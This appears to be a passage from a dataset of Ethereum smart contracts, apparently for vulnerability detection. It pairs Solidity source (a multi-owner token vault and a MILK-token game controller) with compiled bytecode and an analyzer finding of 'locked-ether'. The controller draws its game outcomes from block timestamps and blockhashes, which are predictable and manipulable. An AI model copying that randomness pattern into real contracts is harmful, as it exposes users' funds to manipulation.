/// @param ownerIndex 0-indexed owner position
function getOwner(uint ownerIndex) public constant returns (address) {
return m_owners[ownerIndex + 1];
}
/// @notice Gets owners
/// @return memory array of owners
function getOwners() public constant returns (address[]) {
address[] memory result = new address[](m_numOwners);
for (uint i = 0; i < m_numOwners; i++)
result[i] = getOwner(i);
return result;
}
/// @notice checks if provided address is an owner address
/// @param _addr address to check
/// @return true if it's an owner
function isOwner(address _addr) public constant returns (bool) {
return m_ownerIndex[_addr] > 0;
}
/// @notice Tests ownership of the current caller.
/// @return true if it's an owner
// It's advisable to call it by new owner to make sure that the same erroneous address is not copy-pasted to
// addOwner/changeOwner and to isOwner.
function amIOwner() external constant onlyowner returns (bool) {
return true;
}
/// @notice Revokes a prior confirmation of the given operation
/// @param _operation operation value, typically keccak256(msg.data)
function revoke(bytes32 _operation)
external
multiOwnedOperationIsActive(_operation)
onlyowner
{
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
var pending = m_multiOwnedPending[_operation];
require(pending.ownersDone & ownerIndexBit > 0);
assertOperationIsConsistent(_operation);
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
assertOperationIsConsistent(_operation);
Revoke(msg.sender, _operation);
}
/// @notice Checks if owner confirmed given operation
/// @param _operation operation value, typically keccak256(msg.data)
/// @param _owner an owner address
function hasConfirmed(bytes32 _operation, address _owner)
external
constant
multiOwnedOperationIsActive(_operation)
ownerExists(_owner)
returns (bool)
{
return !(m_multiOwnedPending[_operation].ownersDone & makeOwnerBitmapBit(_owner) == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation)
private
onlyowner
returns (bool)
{
if (512 == m_multiOwnedPendingIndex.length)
// In case m_multiOwnedPendingIndex grows too much we have to shrink it: otherwise at some point
// we won't be able to do it because of block gas limit.
// Yes, pending confirmations will be lost. Dont see any security or stability implications.
// TODO use more graceful approach like compact or removal of clearPending completely
clearPending();
var pending = m_multiOwnedPending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (! isOperationActive(_operation)) {
// reset count of confirmations needed.
pending.yetNeeded = m_multiOwnedRequired;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_multiOwnedPendingIndex.length++;
m_multiOwnedPendingIndex[pending.index] = _operation;
assertOperationIsConsistent(_operation);
}
// determine the bit to set for this owner.
uint ownerIndexBit = makeOwnerBitmapBit(msg.sender);
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
// ok - check if count is enough to go ahead.
assert(pending.yetNeeded > 0);
if (pending.yetNeeded == 1) {
// enough confirmations: reset and run interior.
delete m_multiOwnedPendingIndex[m_multiOwnedPending[_operation].index];
delete m_multiOwnedPending[_operation];
FinalConfirmation(msg.sender, _operation);
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
assertOperationIsConsistent(_operation);
Confirmation(msg.sender, _operation);
}
}
}
// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
// iterating to the first free slot from the beginning
while (free < m_numOwners && m_owners[free] != 0) free++;
// iterating to the first occupied slot from the end
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
// swap, if possible, so free slot is located at the end after the swap
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
// owners between swapped slots should't be renumbered - that saves a lot of gas
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() private onlyowner {
uint length = m_multiOwnedPendingIndex.length;
// TODO block gas limit
for (uint i = 0; i < length; ++i) {
if (m_multiOwnedPendingIndex[i] != 0)
delete m_multiOwnedPending[m_multiOwnedPendingIndex[i]];
}
delete m_multiOwnedPendingIndex;
}
function checkOwnerIndex(uint ownerIndex) private pure returns (uint) {
assert(0 != ownerIndex && ownerIndex <= c_maxOwners);
return ownerIndex;
}
function makeOwnerBitmapBit(address owner) private constant returns (uint) {
uint ownerIndex = checkOwnerIndex(m_ownerIndex[owner]);
return 2 ** ownerIndex;
}
function isOperationActive(bytes32 _operation) private constant returns (bool) {
return 0 != m_multiOwnedPending[_operation].yetNeeded;
}
function assertOwnersAreConsistent() private constant {
assert(m_numOwners > 0);
assert(m_numOwners <= c_maxOwners);
assert(m_owners[0] == 0);
assert(0 != m_multiOwnedRequired && m_multiOwnedRequired <= m_numOwners);
}
function assertOperationIsConsistent(bytes32 _operation) private constant {
var pending = m_multiOwnedPending[_operation];
assert(0 != pending.yetNeeded);
assert(m_multiOwnedPendingIndex[pending.index] == _operation);
assert(pending.yetNeeded <= m_multiOwnedRequired);
}
// FIELDS
uint constant c_maxOwners = 250;
// the number of owners that must confirm the same operation before it is run.
uint public m_multiOwnedRequired;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners (addresses),
// slot 0 is unused so there are no owner which index is 0.
// TODO could we save space at the end of the array for the common case of <10 owners? and should we?
address[256] internal m_owners;
// index on the list of owners to allow reverse lookup: owner address => index in m_owners
mapping(address => uint) internal m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => MultiOwnedOperationPendingState) internal m_multiOwnedPending;
bytes32[] internal m_multiOwnedPendingIndex;
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISmartzToken {
// multiowned
function changeOwner(address _from, address _to) external;
function addOwner(address _owner) external;
function removeOwner(address _owner) external;
function changeRequirement(uint _newRequired) external;
function getOwner(uint ownerIndex) public view returns (address);
function getOwners() public view returns (address[]);
function isOwner(address _addr) public view returns (bool);
function amIOwner() external view returns (bool);
function revoke(bytes32 _operation) external;
function hasConfirmed(bytes32 _operation, address _owner) external view returns (bool);
// ERC20Basic
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
// ERC20
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint8);
// BurnableToken
function burn(uint256 _amount) public returns (bool);
// TokenWithApproveAndCallMethod
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public;
// SmartzToken
function setKYCProvider(address KYCProvider) external;
function setSale(address account, bool isSale) external;
function disablePrivileged() external;
function availableBalanceOf(address _owner) public view returns (uint256);
function frozenCellCount(address owner) public view returns (uint);
function frozenCell(address owner, uint index) public view returns (uint amount, uint thawTS, bool isKYCRequired);
function frozenTransfer(address _to, uint256 _value, uint thawTS, bool isKYCRequired) external returns (bool);
function frozenTransferFrom(address _from, address _to, uint256 _value, uint thawTS, bool isKYCRequired) external returns (bool);
}
contract SMRDistributionVault is ArgumentsChecker, multiowned, ERC20 {
// PUBLIC FUNCTIONS
function SMRDistributionVault()
public
payable
multiowned(getInitialOwners(), 1)
{
m_SMR = ISmartzToken(address(0x40ae4acd08e65714b093bf2495fd7941aedfa231));
m_thawTS = 1551398400;
totalSupply = m_SMR.totalSupply();
}
function getInitialOwners() private pure returns (address[]) {
address[] memory result = new address[](2);
result[0] = address(0x4ff9a68a832398c6b013633bb5682595ebb7b92e);
result[1] = address(0xe4074bb7bd4828baed9d2bece1e386408428dfb7);
return result;
}
/// @notice Balance of tokens.
/// @dev Owners are considered to possess all the tokens of this vault.
function balanceOf(address who) public view returns (uint256) {
return isOwner(who) ? m_SMR.balanceOf(this) : 0;
}
/// @notice Looks like transfer of this token, but actually frozenTransfers SMR.
function transfer(address to, uint256 value)
public
payloadSizeIs(2 * 32)
onlyowner
returns (bool)
{
return m_SMR.frozenTransfer(to, value, m_thawTS, false);
}
/// @notice Transfers using plain transfer remaining tokens.
function withdrawRemaining(address to)
external
payloadSizeIs(1 * 32)
onlyowner
returns (bool)
{
return m_SMR.transfer(to, m_SMR.balanceOf(this));
}
/// @dev There is no need to support this function.
function allowance(address , address ) public view returns (uint256) {
revert();
}
/// @dev There is no need to support this function.
function transferFrom(address , address , uint256 ) public returns (bool) {
revert();
}
/// @dev There is no need to support this function.
function approve(address , uint256 ) public returns (bool) {
revert();
}
function decimals() public view returns (uint8) {
return m_SMR.decimals();
}
// FIELDS
/// @notice link to the SMR
ISmartzToken public m_SMR;
/// @notice Thaw timestamp of frozenTransfers issued by this vault
uint public m_thawTS;
// CONSTANTS
string public constant name = "SMR Community Fund Vault 1";
string public constant symbol = "SMRDV";
} | 0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde038114610129578063095ea7b3146101b3578063173825d9146101e957806318160ddd1461020a57806323b872dd1461022f5780632f54bf6e14610257578063313ce567146102765780634123cb6b1461029f5780634e4ab830146102b25780637065cb48146102c557806370a08231146102e4578063787d64e41461030357806392a707561461031657806395d89b4114610329578063a0e67e2b1461033c578063a9059cbb146103a2578063b75c7dc6146103c4578063ba51a6df146103da578063c2cf7326146103f0578063c41a360a14610412578063dcbc128814610444578063dd62ed3e14610457578063f00d4b5d1461047c578063fd0cdcdb146104a1575b600080fd5b341561013457600080fd5b61013c6104c0565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610178578082015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101be57600080fd5b6101d5600160a060020a03600435166024356104f7565b604051901515815260200160405180910390f35b34156101f457600080fd5b610208600160a060020a03600435166104fe565b005b341561021557600080fd5b61021d61065b565b60405190815260200160405180910390f35b341561023a57600080fd5b6101d5600160a060020a03600435811690602435166044356104f7565b341561026257600080fd5b6101d5600160a060020a0360043516610662565b341561028157600080fd5b61028961067f565b60405160ff909116815260200160405180910390f35b34156102aa57600080fd5b61021d6106ea565b34156102bd57600080fd5b6101d56106f0565b34156102d057600080fd5b610208600160a060020a036004351661070c565b34156102ef57600080fd5b61021d600160a060020a0360043516610836565b341561030e57600080fd5b61021d6108c8565b341561032157600080fd5b61021d6108ce565b341561033457600080fd5b61013c6108d5565b341561034757600080fd5b61034f61090c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561038e578082015183820152602001610376565b505050509050019250505060405180910390f35b34156103ad57600080fd5b6101d5600160a060020a036004351660243561098a565b34156103cf57600080fd5b610208600435610a4b565b34156103e557600080fd5b610208600435610b14565b34156103fb57600080fd5b6101d5600435600160a060020a0360243516610ba5565b341561041d57600080fd5b610428600435610bfa565b604051600160a060020a03909116815260200160405180910390f35b341561044f57600080fd5b610428610c1e565b341561046257600080fd5b61021d600160a060020a03600435811690602435166104f7565b341561048757600080fd5b610208600160a060020a0360043581169060243516610c2e565b34156104ac57600080fd5b6101d5600160a060020a0360043516610d67565b60408051908101604052601a81527f534d5220436f6d6d756e6974792046756e64205661756c742031000000000000602082015281565b6000806000fd5b60008161050a81610662565b151561051557600080fd5b600180540360008111801561052b575060fa8111155b151561053657600080fd5b600054600180540360008211801561054e5750808211155b151561055957600080fd5b60003660405180838380828437820191505092505050604051809103902061058081610e75565b156106525761058d611046565b610595611093565b600160a060020a038716600090815261010260205260409020546105b890611133565b9550600060028761010081106105ca57fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392831617905587166000908152610102602052604081205561060c611151565b610614611046565b7f58619076adf5bb0943d100ef88d52d7c3fd691b19d3a9071b555b651fbf418da87604051600160a060020a03909116815260200160405180910390a15b50505050505050565b6101055481565b600160a060020a0316600090815261010260205260408120541190565b61010654600090600160a060020a031663313ce56782604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156106ca57600080fd5b6102c65a03f115156106db57600080fd5b50505060405180519150505b90565b60015481565b60006106fb33610662565b151561070657600080fd5b50600190565b8061071681610662565b1561072057600080fd5b600154600101600081118015610737575060fa8111155b151561074257600080fd5b60003660405180838380828437820191505092505050604051809103902061076981610e75565b1561083057610776611046565b61077e611093565b600180548101908190558490600290610100811061079857fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556001546107d090611133565b600160a060020a038516600090815261010260205260409020556107f2611046565b7f994a936646fe87ffe4f1e469d3d6aa417d6b855598397f323de5b449f765f0c384604051600160a060020a03909116815260200160405180910390a15b50505050565b600061084182610662565b61084c5760006108c2565b61010654600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b505050604051805190505b92915050565b60005481565b6101075481565b60408051908101604052600581527f534d524456000000000000000000000000000000000000000000000000000000602082015281565b610914611387565b61091c611387565b600060015460405180591061092e5750595b90808252806020026020018201604052509150600090505b6001548110156109845761095981610bfa565b82828151811061096557fe5b600160a060020a03909216602092830290910190910152600101610946565b50919050565b600060403660441461099b57600080fd5b6109a433610662565b15156109af57600080fd5b6101065461010754600160a060020a0390911690635ab9202290869086906000806040516020015260405160e060020a63ffffffff8716028152600160a060020a0390941660048501526024840192909252604483015215156064820152608401602060405180830381600087803b1515610a2957600080fd5b6102c65a03f11515610a3a57600080fd5b505050604051805195945050505050565b60008082610a58816112f5565b1515610a6357600080fd5b610a6c33610662565b1515610a7757600080fd5b610a803361130a565b6000858152610103602052604081206001810154929550935090841611610aa657600080fd5b610aaf84611339565b815460019081018355820180548490039055610aca84611339565b7fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b3385604051600160a060020a03909216825260208201526040908101905180910390a150505050565b80600154600082118015610b285750808211155b1515610b3357600080fd5b600036604051808383808284378201915050925050506040518091039020610b5a81610e75565b15610830576000849055610b6c611093565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da8460405190815260200160405180910390a150505050565b600082610bb1816112f5565b1515610bbc57600080fd5b82610bc681610662565b1515610bd157600080fd5b610bda8461130a565b600086815261010360205260409020600101541615159250505092915050565b60006002600183016101008110610c0d57fe5b0154600160a060020a031692915050565b61010654600160a060020a031681565b600082610c3a81610662565b1515610c4557600080fd5b82610c4f81610662565b15610c5957600080fd5b600036604051808383808284378201915050925050506040518091039020610c8081610e75565b15610d5f57610c8d611046565b610c95611093565b600160a060020a03861660009081526101026020526040902054610cb890611133565b9350846002856101008110610cc957fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392831617905586811660009081526101026020526040808220829055918716815220849055610d18611046565b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c8686604051600160a060020a039283168152911660208201526040908101905180910390a15b505050505050565b6000602036602414610d7857600080fd5b610d8133610662565b1515610d8c57600080fd5b61010654600160a060020a031663a9059cbb84826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610ded57600080fd5b6102c65a03f11515610dfe57600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e5457600080fd5b6102c65a03f11515610e6557600080fd5b5050506040518051949350505050565b6000806000610e8333610662565b1515610e8e57600080fd5b610104546102001415610ea357610ea3611093565b6000848152610103602052604090209150610ebd846112f5565b1515610f1057600080548355600180840191909155610104805491610ee491908301611399565b6002830181905561010480548692908110610efb57fe5b600091825260209091200155610f1084611339565b610f193361130a565b9050808260010154166000141561103f57815460009011610f3657fe5b815460011415610fdf576000848152610103602052604090206002015461010480549091908110610f6357fe5b600091825260208083209091018290558582526101039052604080822082815560018101839055600201919091557f367569357efc39b74a025c4ba1d64068b2b574e3b0d081c48d42f7feeca4cd16903390869051600160a060020a03909216825260208201526040908101905180910390a16001925061103f565b815460001901825560018201805482179055610ffa84611339565b7fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda3385604051600160a060020a03909216825260208201526040908101905180910390a15b5050919050565b6001546000901161105357fe5b60015460fa90111561106157fe5b600254600160a060020a03161561107457fe5b60005415801590611089575060015460005411155b151561109157fe5b565b60008061109f33610662565b15156110aa57600080fd5b50506101045460005b81811015611122576101048054829081106110ca57fe5b6000918252602090912001541561111a576101036000610104838154811015156110f057fe5b60009182526020808320909101548352820192909252604001812081815560018101829055600201555b6001016110b3565b61112f61010460006113c2565b5050565b60008115801590611145575060fa8211155b151561114d57fe5b5090565b60015b6001548110156112f2575b600154811080156111875750600281610100811061117957fe5b0154600160a060020a031615155b156111945760010161115f565b600180541180156111be575060015460029061010081106111b157fe5b0154600160a060020a0316155b156111d25760018054600019019055611194565b600154811080156111fd575060015460029061010081106111ef57fe5b0154600160a060020a031615155b801561121f5750600281610100811061121257fe5b0154600160a060020a0316155b156112ed57600154600290610100811061123557fe5b0154600160a060020a0316600282610100811061124e57fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055806101026000600283610100811061128e57fe5b0154600160a060020a03168152602081019190915260400160009081209190915560015460029061010081106112c057fe5b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b611154565b50565b60009081526101036020526040902054151590565b600160a060020a03811660009081526101026020526040812054819061132f90611133565b60020a9392505050565b6000818152610103602052604090208054151561135257fe5b60028101546101048054849290811061136757fe5b6000918252602090912001541461137a57fe5b6000548154111561112f57fe5b60206040519081016040526000815290565b8154818355818115116113bd576000838152602090206113bd9181019083016113dc565b505050565b50805460008255906000526020600020908101906112f291905b6106e791905b8082111561114d57600081556001016113e2565b6113fe611387565b611406611387565b60026040518059106114155750595b90808252806020026020018201604052509050734ff9a68a832398c6b013633bb5682595ebb7b92e8160008151811061144a57fe5b600160a060020a0390921660209283029091019091015273e4074bb7bd4828baed9d2bece1e386408428dfb78160018151811061148357fe5b600160a060020a039092166020928302909101909101529050905600a165627a7a723058207fdb89035145984255cac7d02b59b4901cbcfdb89e5e3b9dae0e7a900962539c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,924 |
0x17f0b1da1b41037f9359ff3ae9ca0153a3c9ca86 | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IMilker {
function bandits(uint256 percent) external returns (uint256, uint256, uint256);
function sheriffsVaultCommission() external returns (uint256);
function sheriffsPotDistribution() external returns (uint256);
function isWhitelisted(address holder) external view returns (bool);
function getPeriod() external view returns (uint256);
}
contract Controller is Ownable {
using SafeMath for uint256;
// Contract implementing tokenomics events.
IMilker private _milker;
// Number of last "happened" round.
uint256 private _lastPeriod;
event Round(
uint256 indexed round,
bool indexed banditsComing,
bool indexed sheriffsPotDistributing,
uint256 banditsPercent,
uint256 banditsAmount,
uint256 arrestedAmount,
uint256 burntAmount,
uint256 vaultCommissionAmount,
uint256 potDistributionAmount,
uint256 timestamp
);
function setMilker(address milker) external onlyOwner {
require(address(_milker) == address(0), "Controller: MILK token contract is set up already");
require(milker != address(0), "Controller: MILK token contract cannot be set up to nothing");
_milker = IMilker(milker);
}
////////////////////////////////////////////////////////////////
// [Event] All in one function to play a round
// NOTE: Use more gas than estimated since random is used.
////////////////////////////////////////////////////////////////
function round() external {
uint256 period = _milker.getPeriod();
require(period > _lastPeriod, "Controller: need to wait for a new round");
_lastPeriod = _lastPeriod.add(1);
// Randomization and results
uint256 randomNumber = _randomNumber();
bool banditsComing = (((randomNumber >> 24) % 10) < 3); // 30% chance
bool sheriffsPotDistributing = false; // will be calculated later if necessary
uint256 banditsPercent = 0; // will be calculated later if necessary
// Results
uint256 banditsAmount = 0;
uint256 arrestedAmount = 0;
uint256 burntAmount = 0;
uint256 vaultCommissionAmount = 0;
uint256 potDistributionAmount = 0;
// Bandits
if (banditsComing) {
banditsPercent = (((randomNumber >> 40) % 99) + 1); // from 1% to 99% bandits share
(banditsAmount, arrestedAmount, burntAmount) = _milker.bandits(banditsPercent);
}
// Sheriff's vault comission
vaultCommissionAmount = _milker.sheriffsVaultCommission();
// Sheriff's pot distribution
if (!banditsComing) {
sheriffsPotDistributing = (((randomNumber >> 64) % 10) < 3); // 30% chance
if (sheriffsPotDistributing) {
potDistributionAmount = _milker.sheriffsPotDistribution();
}
}
emit Round(
_lastPeriod, banditsComing, sheriffsPotDistributing, banditsPercent,
banditsAmount, arrestedAmount, burntAmount,
vaultCommissionAmount, potDistributionAmount,
block.timestamp // solium-disable-line security/no-block-members
);
}
////////////////////////////////////////////////////////////////
// Contract getters
////////////////////////////////////////////////////////////////
function milker() external view returns (address) {
return address(_milker);
}
function lastPeriod() external view returns (uint256) {
return _lastPeriod;
}
////////////////////////////////////////////////////////////////
// Internal functions
////////////////////////////////////////////////////////////////
function _randomNumber() private view returns (uint256) {
bytes memory seed = abi.encodePacked(
block.timestamp, // solium-disable-line security/no-block-members
blockhash(block.number-1), // solium-disable-line security/no-block-members
blockhash(block.number-2), // solium-disable-line security/no-block-members
blockhash(block.number-3), // solium-disable-line security/no-block-members
blockhash(block.number-4), // solium-disable-line security/no-block-members
blockhash(block.number-5), // solium-disable-line security/no-block-members
_milker, _lastPeriod
);
return uint256(keccak256(seed));
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638421f19b1161005b5780638421f19b146100b85780638da5cb5b146100de578063d340ef8a146100e6578063f2fde38b146101005761007d565b8063146ca53114610082578063274b781b1461008c578063715018a6146100b0575b600080fd5b61008a610126565b005b610094610436565b604080516001600160a01b039092168252519081900360200190f35b61008a610445565b61008a600480360360208110156100ce57600080fd5b50356001600160a01b03166104f9565b610094610612565b6100ee610621565b60408051918252519081900360200190f35b61008a6004803603602081101561011657600080fd5b50356001600160a01b0316610627565b60015460408051631ed2419560e01b815290516000926001600160a01b031691631ed24195916004808301926020929190829003018186803b15801561016b57600080fd5b505afa15801561017f573d6000803e3d6000fd5b505050506040513d602081101561019557600080fd5b505160025490915081116101da5760405162461bcd60e51b81526004018080602001828103825260288152602001806108b26028913960400191505060405180910390fd5b6002546101e8906001610731565b60025560006101f5610792565b90506003600a601883901c0610600080808080808087156102ad576001805460408051632dbb638960e11b8152606360288e901c069093016004840181905290519098506001600160a01b0390911691635b76c7129160248083019260609291908290030181600087803b15801561026c57600080fd5b505af1158015610280573d6